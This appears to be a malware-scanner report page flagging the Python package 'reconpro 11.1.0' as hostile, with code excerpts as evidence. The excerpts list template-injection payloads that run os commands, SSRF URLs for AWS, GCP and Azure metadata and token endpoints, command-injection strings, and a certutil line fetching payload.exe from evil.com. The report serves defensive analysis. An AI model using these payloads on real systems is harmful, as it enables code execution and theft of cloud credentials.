Hostile 93% python Download

reconpro 11.1.0

Typosquatting, credential theft, C2

“ReconPro v11 — Enterprise Security Reconnaissance Platform. 28 Modules. 77 Commands. MITRE ATT&CK. SARIF/PDF/CSV. Pure Python.”

Jinja object traversal executes Python codeProbes several clouds for instance credentials

Evidence

Jinja traversal reaches Python builtins lines 450–478
450:59,
451 "{{cycler.__init__.__globals__.os}}",
452 "{{lipsum.__globals__['os'].popen('id').read()}}",
453 "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
454 ],
455 "django": [
456 "{% debug %}",
457 "{{request}}",
458 "{% load debug %}",
459 "{% debug context %}",
460 "{{settings.SECRET_KEY}}",
461 "{{settings.DATABASES}}",
462 "{% for x in ().__class__.__bases__[0].__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{% endif %}{% endfor %}",
463 "{{user}}",
464 ],
465 "mako": [
466 "${7*7}",
467 "${self._modules[context]}}",
468 "<%import os%>${os.popen('id').read()}",
469 "${__import__('os').popen('id').read()}",
470 "<%=7*7%>",
471 "${self.__init__.__globals__['os'].popen('id').read()}",
472 "${request.environ}",
473 "${self.template.module.__builtins__.__import__('os').popen('id').read()}",
474 ],
475 "twig": [
476 "{{7*7}}",
477 "{{_self}}",
478 "{{_self.env.registerUndefinedFilter
AWS EC2 metadata endpoint lines 495–516
495:32",
496 ],
497 },
498
499 # ── Server-Side Request Forgery (SSRF) ─────────────────────────────────
500 "ssrf": {
501 "aws_metadata": [
502 "http://169.254.169.254/latest/meta-data/",
503 "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
504 "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name",
505 "http://169.254.169.254/latest/user-data/",
506 "http://169.254.169.254/latest/meta-data/hostname",
507 "http://169.254.169.254/latest/meta-data/local-ipv4",
508 "http://169.254.169.254/latest/meta-data/placement/availability-zone",
509 "http://169.254.169.254/latest/dynamic/instance-identity/document",
510 ],
511 "gcp_metadata": [
512 "http://metadata.google.internal/computeMetadata/v1/",
513 "http://metadata.google.internal/computeMetadata/v1/instance/hostname",
514 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/",
515 "http://metadata.google.internal/computeMetadata/v1/project/project-id",
516 "http://metadata.google.int
Azure IMDS endpoint lines 517–524
517:3069.254/computeMetadata/v1/",
518 "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
519 "http://metadata.google.internal/computeMetadata/v1/os-login/users",
520 ],
521 "azure_metadata": [
522 "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
523 "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01",
524 "ht
Azure managed identity token endpoint lines 524–527
524:32.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-02-01",
525 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
526 "http://169.254.169.254/metadata/loadbalancer?api-version=2021-02-01",
527 "http://1
URL path ends in a Windows executable lines 618–641
4 lines
622 "%0d%0a dir C:\\",
623 "& net user",
624 "& ipconfig /all",
625 "& tasklist",
626 "& systeminfo",
627 "& ping -n 4 127.0.0.1",
628 "certutil -urlcache -split -f https://evil.com/payload.exe",
629 ],
630 "generic": [
11 lines

Showing the top 5 files — 7 more files (281 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.